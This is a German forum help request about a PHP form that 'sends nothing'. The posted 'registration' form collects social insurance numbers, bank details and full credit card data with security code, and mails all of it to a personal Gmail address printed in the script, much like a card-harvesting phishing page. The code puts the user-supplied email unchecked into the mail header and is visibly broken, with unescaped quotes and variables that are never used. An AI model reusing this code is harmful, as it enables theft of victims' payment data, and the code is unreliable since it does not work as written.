S
Smoleff
Guest
Hallo Leute,
ich habe versuch das Tutorial
ein bisschen umzuändern. Jetzt ist es so, dass das Formular auf der Homepage problemlos angezeigt wird nur es wird nichts verschickt und die Bestätigung oder Fehlermeldung wird auch nicht angezeigt. Das Formular habe ich unter hochgeladen.
Die erste Datei ist reg.php
und versenden.php
ich habe versuch das Tutorial
Code:
http://www.psd-tutorials.de/tutorials/web/php/-/view/550--kontaktformulardaten-mit-php-versenden
Die erste Datei ist reg.php
PHP:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Unbenanntes Dokument</title>
</head>
<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center">Registrierung</td>
</tr>
</table>
<table border="0" align="center" cellpadding="1" cellspacing="2">
<form action="versenden.php" method="post">
<tr>
<td colspan="2">Persönliche Daten</td>
</tr>
<tr>
<td>Vor und Nachnahme</td>
<td><input name="Name" size="20" type="text" /></td>
</tr>
<tr>
<td>Geburtsdatum:</td>
<td><input name="Geburtsdatum" size="20" type="text" /></td>
</tr>
<tr>
<td>Sozialversicherungsnummer:</td>
<td><input name="Sozialversicherungsnummer" size="20" type="text" /></td>
</tr>
<tr>
<td>Email:</td>
<td><input name="Email" size="20" type="text" /></td>
</tr>
<tr>
<td>Telefonnummer:</td>
<td><input name="Telefonnumer" size="20" type="text" /></td>
</tr>
<tr>
<td colspan="2"><br /><p>Rechnungsadresse</p></td>
</tr>
<tr>
<td>Strasse & Hausnummer:</td>
<td><input name="Strasse" size="20" type="text" /></td>
</tr>
<tr>
<td>Postleitzahl:</td>
<td><input name="Postleitzahl" size="20" type="text" /></td>
</tr>
<tr>
<td>Ort:</td>
<td><input name="Ort" size="20" type="text" /></td>
</tr>
<tr>
<td colspan="2"><br />
<p>Lieferadresse*(falls abweichend von Rechnungsadresse)</p></td>
</tr>
<tr>
<td>Strasse & Hausnummer:</td>
<td><input name="Strasse2" size="20" type="text" /></td>
</tr>
<tr>
<td>Postleitzahl:</td>
<td><input name="Postleitzahl2" size="20" type="text" /></td>
</tr>
<tr>
<td>Ort:</td>
<td><input name="Ort2" size="20" type="text" /></td>
</tr>
<tr>
<td colspan="2"><br />
<p>Bankverbindung</p></td>
</tr>
<tr>
<td>Kontoinhaber:</td>
<td><input name="Kontoinhaber" size="20" type="text" /></td>
</tr>
<tr>
<td>Kontonummer:</td>
<td><input name="Kontonummer" size="20" type="text" /></td>
</tr>
<tr>
<td>Bankleitzahl:</td>
<td><input name="Bankleitzahl" size="20" type="text" /></td>
</tr>
<tr>
<td colspan="2"><br />
<p>Kreditkarte</p></td>
</tr>
<tr>
<td>Karteninhaber:</td>
<td><input name="Karteninhaber" size="20" type="text" /></td>
</tr>
<tr>
<td>Kreditkarte:</td>
<td><select name="Kreditkarte"
size="1">
<option>Visa</option>
<option>Mastercard</option>
</select></td>
</tr>
<tr>
<td>Kartennummer:</td>
<td><input name="Kartennummer" size="20" type="text" /></td>
</tr>
<tr>
<td>Ablaufdatum:</td>
<td><input name="Ablaufdatum" size="20" type="text" /></td>
</tr>
<tr>
<td>Sicherheitscode:</td>
<td><input name="Sicherheitscode" size="20" type="text" /></td>
</tr>
<tr>
<td> </td>
<td>* Optional</td>
</tr>
<tr>
<td> </td>
<td> </td>
</tr>
<tr>
<td align="center" colspan="2"><input name="Send" type="submit"
value="Abschicken"> <input name="Reset" type="reset"
value="Löschen"></td>
</tr>
</form>
</table>
</body>
</html>
und versenden.php
PHP:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Unbenanntes Dokument</title>
</head>
<body>
<?php
$Empfaenger = "roland.kyek@gmail.com"; //Die E-Mail-Adresse an die die
Daten gesendet werden!
if($_REQUEST['Send']) //Hier wird geprüft, ob der Senden Button
angeklickt wurde!
{
//In der folgenden Codeteil wird überprüft, ob die Pflichtfelder leer
sind. Ist dies der Fall, kommt eine Fehlermeldung.
if ( empty ($_REQUEST['Name'] ) || empty ( $_REQUEST['Geburtsdatum'] ) ||
empty ( $_REQUEST['Sozialversicherungsnummer'] ) || empty ( $_REQUEST['Email'] ) || empty ( $_REQUEST['Telefonnummer'] ) || empty ( $_REQUEST['Strasse'] ) || empty ( $_REQUEST['Ort'] ) || empty ( $_REQUEST['Postleitzahl'] ) || empty ( $_REQUEST['Ort'] ) )
//Die Fehlermeldung mit einem Link zurück zur Formularseite.
{
echo"Bitte gehen Sie <a
href="javascript:history.back();">zurück</a> und füllen
Sie alle Felder aus!";
}
//Sind die Felder Name, E-Mail und Nachricht mit Inhalt gefüllt, geht
es hier weiter.
else
{
$Mailnachricht = "Sie haben folgende Nachricht erhalten: //Text der über
den Daten in der E-Mail steht.
nn";
while(list($Formularfeld, $Wert)=each($_REQUEST)) //Hier wird dem Script gesagt, das er die Angaben aus dem Forumlar gelistet ausgeben soll.
//Zuerst steht dort der Name des Forumlarfeldes, und dann der
//eingegebene Wert.
{
if($Formularfeld!="Send")//Wurde der Senden-Button gedrückt, werden die Daten jetzt übergeben.
{
$Name .= $Formularfeld.":
".$Wert."n";
}}
$Mailnachricht .= "nDatum/Zeit: "; //Die Ausgabe des Datums und Uhrzeit erfolgt unter den ganzen Angaben
$Mailnachricht .= date("d.m.Y H:i:s");
$Mailbetreff = "Registrierung";
mail($Empfaenger, $Mailbetreff, $Mailnachricht, "From:
".$_REQUEST['Email']);
echo"Vielen Dank für Ihre Registrierung!"; //Dieser Text erscheint im Browser wenn die Daten vollständig versendet wurden.
}}
//Ist ein Fehler aufgetreten, erscheint die folgende Meldung.
else
{
echo"Ein Fehler ist aufgetreten. Bitte gehen Sie auf diese <a
href="reg.php">Seite</a>.";
}
//Ende des Scripts.
?>
</body>
</html>